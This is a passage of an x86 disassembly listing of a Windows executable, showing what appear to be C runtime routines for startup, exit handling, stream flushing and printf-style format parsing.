loc_412923:				; CODE XREF: sub_412879+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41290C


loc_41292E:				; CODE XREF: sub_412879+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_45EBB0
		call	esi ; dword_41C12C
		test	eax, eax
		jnz	short loc_412973
		jmp	short loc_4128F5
; ---------------------------------------------------------------------------


loc_412946:				; CODE XREF: sub_412879+Fj
		cmp	ds:dword_45EBA0, esi
		jnz	short loc_412959
		push	[ebp+arg_4]
		call	sub_410A70
		pop	ecx
		jmp	short loc_412973
; ---------------------------------------------------------------------------


loc_412959:				; CODE XREF: sub_412879+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_45EBB0
		call	ds:dword_41C12C	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_4128F5


loc_412972:				; CODE XREF: sub_412879+6Bj
		dec	eax


loc_412973:				; CODE XREF: sub_412879+1Aj
					; sub_412879+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412879	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C670
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_41C160	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_45EB2C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_45EB28, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_45EB24, ecx
		shr	eax, 10h
		mov	ds:dword_45EB20, eax
		xor	esi, esi
		push	esi
		call	sub_413466
		pop	ecx
		test	eax, eax
		jnz	short loc_4129E4
		push	1Ch
		call	sub_412A93
		pop	ecx


loc_4129E4:				; CODE XREF: seg000:004129DAj
		mov	[ebp-4], esi
		call	loc_4178F7
		call	near ptr 0A70000h
		out	0A3h, eax	; Interrupt Controller #2, 8259A
		test	[ecx], al
		inc	esi
		add	al, ch
		leave
		dec	ebp
; ---------------------------------------------------------------------------
		dw 0
		dd 45EB60A3h, 4B72E800h, 0B4E80000h, 0E800004Ah, 0FFFFFB1Ah
		dd 8DD07589h, 0E850A445h, 65D5E4h, 4A45E85Dh, 45890000h
		dd 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h, 9C75FF50h
		dd 0C1E85656h, 710065D5h, 5D2AE850h, 4589FFFFh,	8E850A0h
		dd 8BFFFFFBh, 88BEC45h,	4D89098Bh, 0E8515098h, 4883h, 8BC35959h
		dd 75FFE865h, 0FAFAE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_412A6E	proc near		; CODE XREF: sub_411572+16p
					; seg000:0041750Dp ...

arg_0		= dword	ptr  4

		cmp	ds:dword_45EB68, 1
		jnz	short loc_412A7C
		call	sub_417B84


loc_412A7C:				; CODE XREF: sub_412A6E+7j
		push	[esp+arg_0]
		call	sub_417BBD
		push	0FFh
		call	ds:off_42D810
		pop	ecx
		pop	ecx
		retn
sub_412A6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A93	proc near		; CODE XREF: seg000:004129DEp

arg_0		= dword	ptr  4

		cmp	ds:dword_45EB68, 1
		jnz	short loc_412AA1
		call	sub_417B84


loc_412AA1:				; CODE XREF: sub_412A93+7j
		push	[esp+arg_0]
		call	sub_417BBD
		pop	ecx
		push	0FFh
		call	ds:dword_41C104	; ExitProcess
		retn
sub_412A93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AB7	proc near		; CODE XREF: sub_4104AF+46p
					; sub_41099A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_412BC0
		test	al, 40h
		jnz	loc_412BC0
		test	al, 1
		jz	short loc_412AEF
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_412BC0
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_412AEF:				; CODE XREF: sub_412AB7+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_412B29
		cmp	esi, offset dword_42DF38
		jz	short loc_412B17
		cmp	esi, offset dword_42DF58
		jnz	short loc_412B22


loc_412B17:				; CODE XREF: sub_412AB7+56j
		push	ebx
		call	sub_417F01
		test	eax, eax
		pop	ecx
		jnz	short loc_412B29


loc_412B22:				; CODE XREF: sub_412AB7+5Ej
		push	esi
		call	sub_417EBD
		pop	ecx


loc_412B29:				; CODE XREF: sub_412AB7+4Ej
					; sub_412AB7+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_412B96
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_412B59
		push	edi
		push	eax
		push	ebx
		call	sub_417D10
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_412B8C
; ---------------------------------------------------------------------------


loc_412B59:				; CODE XREF: sub_412AB7+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_412B74
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_45FE40[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_412B79
; ---------------------------------------------------------------------------


loc_412B74:				; CODE XREF: sub_412AB7+A5j
		mov	eax, offset dword_42DE80


loc_412B79:				; CODE XREF: sub_412AB7+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_412B8C
		push	2
		push	0
		push	ebx
		call	sub_416932
		add	esp, 0Ch


loc_412B8C:				; CODE XREF: sub_412AB7+A0j
					; sub_412AB7+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_412BAA
; ---------------------------------------------------------------------------


loc_412B96:				; CODE XREF: sub_412AB7+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_417D10
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_412BAA:				; CODE XREF: sub_412AB7+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_412BB6
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_412BC5
; ---------------------------------------------------------------------------


loc_412BB6:				; CODE XREF: sub_412AB7+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_412BC8
; ---------------------------------------------------------------------------


loc_412BC0:				; CODE XREF: sub_412AB7+10j
					; sub_412AB7+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_412BC5:				; CODE XREF: sub_412AB7+FDj
		or	eax, 0FFFFFFFFh


loc_412BC8:				; CODE XREF: sub_412AB7+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412AB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BCC	proc near		; CODE XREF: sub_4104AF+29p
					; sub_41099A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_4132E5
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_412C00
; ---------------------------------------------------------------------------


loc_412BF8:				; CODE XREF: sub_412BCC+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_412C00:				; CODE XREF: sub_412BCC+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_4132E5
		cmp	bl, 20h
		jl	short loc_412C21
		cmp	bl, 78h
		jg	short loc_412C21
		movsx	eax, bl
		mov	al, [eax+41C65Ch]
		and	eax, 0Fh
		jmp	short loc_412C23
; ---------------------------------------------------------------------------


loc_412C21:				; CODE XREF: sub_412BCC+40j
					; sub_412BCC+45j
		xor	eax, eax


loc_412C23:				; CODE XREF: sub_412BCC+53j
		movsx	eax, ds:byte_41C67C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_4132D4	; default
		jmp	ds:off_4132ED[eax*4] ; switch jump


loc_412C41:				; DATA XREF: seg000:off_4132EDo
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00412C3A case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412C5C:				; CODE XREF: sub_412BCC+6Ej
					; DATA XREF: seg000:off_4132EDo
		movsx	eax, bl		; jumptable 00412C3A case 2
		sub	eax, 20h
		jz	short loc_412C9F
		sub	eax, 3
		jz	short loc_412C96
		sub	eax, 8
		jz	short loc_412C8D
		dec	eax
		dec	eax
		jz	short loc_412C84
		sub	eax, 3
		jnz	loc_4132D4	; default
		or	[ebp+var_4], 8
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412C84:				; CODE XREF: sub_412BCC+A4j
		or	[ebp+var_4], 4
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412C8D:				; CODE XREF: sub_412BCC+A0j
		or	[ebp+var_4], 1
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412C96:				; CODE XREF: sub_412BCC+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412C9F:				; CODE XREF: sub_412BCC+96j
		or	[ebp+var_4], 2
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412CA8:				; CODE XREF: sub_412BCC+6Ej
					; DATA XREF: seg000:off_4132EDo
		cmp	bl, 2Ah		; jumptable 00412C3A case 3
		jnz	short loc_412CD0
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4133AB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_4132D4	; default
		or	[ebp+var_4], 4
		neg	eax


loc_412CC8:				; CODE XREF: sub_412BCC+111j
		mov	[ebp+var_20], eax
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412CD0:				; CODE XREF: sub_412BCC+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_412CC8
; ---------------------------------------------------------------------------


loc_412CDF:				; CODE XREF: sub_412BCC+6Ej
					; DATA XREF: seg000:off_4132EDo
		mov	[ebp+var_10], edx ; jumptable 00412C3A case 4
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412CE7:				; CODE XREF: sub_412BCC+6Ej
					; DATA XREF: seg000:off_4132EDo
		cmp	bl, 2Ah		; jumptable 00412C3A case 5
		jnz	short loc_412D0A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4133AB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_4132D4	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412D0A:				; CODE XREF: sub_412BCC+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412D1C:				; CODE XREF: sub_412BCC+6Ej
					; DATA XREF: seg000:off_4132EDo
		cmp	bl, 49h		; jumptable 00412C3A case 6
		jz	short loc_412D4F
		cmp	bl, 68h
		jz	short loc_412D46
		cmp	bl, 6Ch
		jz	short loc_412D3D
		cmp	bl, 77h
		jnz	loc_4132D4	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412D3D:				; CODE XREF: sub_412BCC+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412D46:				; CODE XREF: sub_412BCC+158j
		or	[ebp+var_4], 20h
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412D4F:				; CODE XREF: sub_412BCC+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_412D68
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_412D68
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412D68:				; CODE XREF: sub_412BCC+186j
					; sub_412BCC+18Cj
		mov	[ebp+var_30], edx


loc_412D6B:				; CODE XREF: sub_412BCC+6Ej
					; DATA XREF: seg000:off_4132EDo
		mov	ecx, ds:off_42D820 ; jumptable 00412C3A	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_412D97
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41330D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_412D97:				; CODE XREF: sub_412BCC+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41330D
		add	esp, 0Ch
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_412DAF:				; CODE XREF: sub_412BCC+6Ej
					; DATA XREF: seg000:off_4132EDo
		movsx	eax, bl		; jumptable 00412C3A case 7
		cmp	eax, 67h
		jg	loc_412FD7
		cmp	eax, 65h
		jge	loc_412E5A
		cmp	eax, 58h
		jg	loc_412EB8
		jz	loc_41304B
		sub	eax, 43h
		jz	loc_412E7B
		dec	eax
		dec	eax
		jz	short loc_412E50
		dec	eax
		dec	eax
		jz	short loc_412E50
		sub	eax, 0Ch
		jnz	loc_4131D6
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_412DF9
		or	byte ptr [ebp+var_4+1],	8


loc_412DF9:				; CODE XREF: sub_412BCC+227j
					; sub_412BCC+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_412E06
		mov	esi, 7FFFFFFFh


loc_412E06:				; CODE XREF: sub_412BCC+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4133AB
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41301F
		test	ecx, ecx
		jnz	short loc_412E2E
		mov	ecx, ds:off_42D81C
		mov	[ebp+var_8], ecx


loc_412E2E:				; CODE XREF: sub_412BCC+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_412E37:				; CODE XREF: sub_412BCC+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_413016
		cmp	word ptr [eax],	0
		jz	loc_413016
		inc	eax
		inc	eax
		jmp	short loc_412E37
; ---------------------------------------------------------------------------


loc_412E50:				; CODE XREF: sub_412BCC+212j
					; sub_412BCC+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_412E5A:				; CODE XREF: sub_412BCC+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_412F3E
		mov	[ebp+var_10], 6
		jmp	loc_412F4C
; ---------------------------------------------------------------------------


loc_412E7B:				; CODE XREF: sub_412BCC+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_412E87
		or	byte ptr [ebp+var_4+1],	8


loc_412E87:				; CODE XREF: sub_412BCC+2B5j
					; sub_412BCC+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_412ECE
		call	sub_4133C8
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_417FE0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_412EE1
		mov	[ebp+var_28], 1
		jmp	short loc_412EE1
; ---------------------------------------------------------------------------


loc_412EB8:				; CODE XREF: sub_412BCC+1FBj
		sub	eax, 5Ah
		jz	short loc_412EEF
		sub	eax, 9
		jz	short loc_412E87
		dec	eax
		jz	loc_4130B1
		jmp	loc_4131D6
; ---------------------------------------------------------------------------


loc_412ECE:				; CODE XREF: sub_412BCC+2C5j
		call	sub_4133AB
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_412EE1:				; CODE XREF: sub_412BCC+2E1j
					; sub_412BCC+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_4131D6
; ---------------------------------------------------------------------------


loc_412EEF:				; CODE XREF: sub_412BCC+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4133AB
		test	eax, eax
		pop	ecx
		jz	short loc_412F30
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_412F30
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_412F21
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_4131D6
; ---------------------------------------------------------------------------


loc_412F21:				; CODE XREF: sub_412BCC+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_4131D3
; ---------------------------------------------------------------------------


loc_412F30:				; CODE XREF: sub_412BCC+32Fj
					; sub_412BCC+336j
		mov	eax, ds:off_42D818
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_412FCC
; ---------------------------------------------------------------------------


loc_412F3E:				; CODE XREF: sub_412BCC+29Dj
		jnz	short loc_412F4C
		cmp	bl, 67h
		jnz	short loc_412F4C
		mov	[ebp+var_10], 1


loc_412F4C:				; CODE XREF: sub_412BCC+2AAj
					; sub_412BCC:loc_412F3Ej ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_42DB58
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_412F9E
		cmp	[ebp+var_10], 0
		jnz	short loc_412F9E
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42DB64
		pop	ecx


loc_412F9E:				; CODE XREF: sub_412BCC+3BCj
					; sub_412BCC+3C2j
		cmp	bl, 67h
		jnz	short loc_412FB5
		test	esi, esi
		jnz	short loc_412FB5
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42DB5C
		pop	ecx


loc_412FB5:				; CODE XREF: sub_412BCC+3D5j
					; sub_412BCC+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_412FCB
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_412FCB:				; CODE XREF: sub_412BCC+3F0j
		push	edi


loc_412FCC:				; CODE XREF: sub_412BCC+36Dj
		call	sub_410A70
		pop	ecx
		jmp	loc_4131D3
; ---------------------------------------------------------------------------


loc_412FD7:				; CODE XREF: sub_412BCC+1E9j
		sub	eax, 69h
		jz	loc_4130B1
		sub	eax, 5
		jz	loc_413087
		dec	eax
		jz	loc_413074
		dec	eax
		jz	short loc_413044
		sub	eax, 3
		jz	loc_412DF9
		dec	eax
		dec	eax
		jz	loc_4130B5
		sub	eax, 3
		jnz	loc_4131D6
		mov	[ebp+var_2C], 27h
		jmp	short loc_413052
; ---------------------------------------------------------------------------


loc_413016:				; CODE XREF: sub_412BCC+270j
					; sub_412BCC+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_4131D3
; ---------------------------------------------------------------------------


loc_41301F:				; CODE XREF: sub_412BCC+24Fj
		test	ecx, ecx
		jnz	short loc_41302C
		mov	ecx, ds:off_42D818
		mov	[ebp+var_8], ecx


loc_41302C:				; CODE XREF: sub_412BCC+455j
		mov	eax, ecx


loc_41302E:				; CODE XREF: sub_412BCC+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41303D
		cmp	byte ptr [eax],	0
		jz	short loc_41303D
		inc	eax
		jmp	short loc_41302E
; ---------------------------------------------------------------------------


loc_41303D:				; CODE XREF: sub_412BCC+467j
					; sub_412BCC+46Cj
		sub	eax, ecx
		jmp	loc_4131D3
; ---------------------------------------------------------------------------


loc_413044:				; CODE XREF: sub_412BCC+425j
		mov	[ebp+var_10], 8


loc_41304B:				; CODE XREF: sub_412BCC+201j
		mov	[ebp+var_2C], 7


loc_413052:				; CODE XREF: sub_412BCC+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_4130BC
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_4130BC
; ---------------------------------------------------------------------------


loc_413074:				; CODE XREF: sub_412BCC+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_4130BC
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_4130BC
; ---------------------------------------------------------------------------


loc_413087:				; CODE XREF: sub_412BCC+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4133AB
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_4130A0
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_4130A5
; ---------------------------------------------------------------------------


loc_4130A0:				; CODE XREF: sub_412BCC+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_4130A5:				; CODE XREF: sub_412BCC+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_4132D4	; default
; ---------------------------------------------------------------------------


loc_4130B1:				; CODE XREF: sub_412BCC+2F7j
					; sub_412BCC+40Ej
		or	[ebp+var_4], 40h


loc_4130B5:				; CODE XREF: sub_412BCC+432j
		mov	[ebp+var_C], 0Ah


loc_4130BC:				; CODE XREF: sub_412BCC+491j
					; sub_412BCC+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_4130CE
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4133B8
		pop	ecx
		jmp	short loc_41310F
; ---------------------------------------------------------------------------


loc_4130CE:				; CODE XREF: sub_412BCC+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_4130F5
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4130EA
		call	sub_4133AB
		pop	ecx
		movsx	eax, ax


loc_4130E7:				; CODE XREF: sub_412BCC+527j
					; sub_412BCC+539j
		cdq
		jmp	short loc_41310F
; ---------------------------------------------------------------------------


loc_4130EA:				; CODE XREF: sub_412BCC+510j
		call	sub_4133AB
		pop	ecx
		movzx	eax, ax
		jmp	short loc_4130E7
; ---------------------------------------------------------------------------


loc_4130F5:				; CODE XREF: sub_412BCC+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_413107
		call	sub_4133AB
		pop	ecx
		jmp	short loc_4130E7
; ---------------------------------------------------------------------------


loc_413107:				; CODE XREF: sub_412BCC+531j
		call	sub_4133AB
		pop	ecx
		xor	edx, edx


loc_41310F:				; CODE XREF: sub_412BCC+500j
					; sub_412BCC+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_413130
		test	edx, edx
		jg	short loc_413130
		jl	short loc_41311F
		test	eax, eax
		jnb	short loc_413130


loc_41311F:				; CODE XREF: sub_412BCC+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_413134
; ---------------------------------------------------------------------------


loc_413130:				; CODE XREF: sub_412BCC+547j
					; sub_412BCC+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_413134:				; CODE XREF: sub_412BCC+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41313D
		and	edi, 0


loc_41313D:				; CODE XREF: sub_412BCC+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41314C
		mov	[ebp+var_10], 1
		jmp	short loc_413150
; ---------------------------------------------------------------------------


loc_41314C:				; CODE XREF: sub_412BCC+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_413150:				; CODE XREF: sub_412BCC+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41315A
		and	[ebp+var_1C], 0


loc_41315A:				; CODE XREF: sub_412BCC+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_413160:				; CODE XREF: sub_412BCC+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_413170
		mov	eax, esi
		or	eax, edi
		jz	short loc_4131AB


loc_413170:				; CODE XREF: sub_412BCC+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_412090
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_412110
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_4131A1
		add	ebx, [ebp+var_2C]


loc_4131A1:				; CODE XREF: sub_412BCC+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_413160
; ---------------------------------------------------------------------------


loc_4131AB:				; CODE XREF: sub_412BCC+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_4131D6
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_4131C9
		test	eax, eax
		jnz	short loc_4131D6


loc_4131C9:				; CODE XREF: sub_412BCC+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_4131D3:				; CODE XREF: sub_412BCC+35Fj
					; sub_412BCC+406j ...
		mov	[ebp+var_C], eax


loc_4131D6:				; CODE XREF: sub_412BCC+21Bj
					; sub_412BCC+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_4132D4	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41320E
		test	bh, 1
		jz	short loc_4131F3
		mov	[ebp+var_16], 2Dh
		jmp	short loc_413207
; ---------------------------------------------------------------------------


loc_4131F3:				; CODE XREF: sub_412BCC+61Fj
		test	bl, 1
		jz	short loc_4131FE
		mov	[ebp+var_16], 2Bh
		jmp	short loc_413207
; ---------------------------------------------------------------------------


loc_4131FE:				; CODE XREF: sub_412BCC+62Aj
		test	bl, 2
		jz	short loc_41320E
		mov	[ebp+var_16], 20h


loc_413207:				; CODE XREF: sub_412BCC+625j
					; sub_412BCC+630j
		mov	[ebp+var_1C], 1


loc_41320E:				; CODE XREF: sub_412BCC+61Aj
					; sub_412BCC+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41322E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_413342
		add	esp, 10h


loc_41322E:				; CODE XREF: sub_412BCC+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_413373
		add	esp, 10h
		test	bl, 8
		jz	short loc_413260
		test	bl, 4
		jnz	short loc_413260
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_413342
		add	esp, 10h


